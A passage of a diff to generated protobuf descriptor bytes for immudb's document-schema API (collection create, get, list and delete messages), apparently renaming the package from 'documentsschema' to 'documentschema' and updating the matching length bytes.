0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0xb3, 0x03, + 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x61, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x2e, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x12, - 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, - 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x1a, 0x62, 0x0a, 0x10, - 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, - 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, - 0x22, 0xa8, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, - 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3f, 0x0a, 0x07, 0x72, 0x65, - 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x25, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, - 0x69, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, - 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, - 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, 0x74, - 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, - 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x22, 0x64, 0x0a, 0x0d, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2d, 0x0a, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, - 0x72, 0x75, 0x63, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, - 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, - 0x44, 0x22, 0x44, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, - 0x12, 0x35, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x21, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, - 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0xb7, 0x03, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, + 0x28, 0x0b, 0x32, 0x3f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x2e, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, + 0x12, 0x5b, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x03, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x62, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, - 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x40, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x50, 0x72, - 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0b, - 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x5c, 0x0a, 0x09, 0x69, - 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3e, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, - 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x63, 0x0a, 0x10, 0x50, 0x72, 0x69, - 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, - 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, - 0x39, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, - 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x61, - 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, - 0x65, 0x79, 0x12, 0x39, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x65, 0x73, 0x74, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x62, 0x0a, + 0x10, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, + 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, - 0x01, 0x22, 0x69, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4d, 0x0a, - 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xb1, 0x03, 0x0a, - 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, - 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x60, 0x0a, 0x0b, 0x70, 0x72, - 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x3e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x01, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, + 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, + 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, + 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xad, 0x03, + 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, + 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5f, 0x0a, 0x0b, 0x70, + 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, - 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x5a, 0x0a, 0x09, + 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x59, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x3c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x49, - 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, - 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x63, 0x0a, 0x10, 0x50, 0x72, 0x69, 0x6d, - 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, - 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x39, - 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x3b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x49, 0x6e, + 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, + 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x62, 0x0a, 0x10, 0x50, 0x72, 0x69, 0x6d, 0x61, + 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, + 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, + 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x60, 0x0a, 0x0e, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, + 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, + 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, - 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x61, 0x0a, - 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, - 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, - 0x79, 0x12, 0x39, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, - 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, - 0x22, 0x66, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, - 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4d, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x17, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x69, 0x0a, - 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4f, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x4e, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x12, 0x32, 0x0a, 0x08, 0x72, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0b, 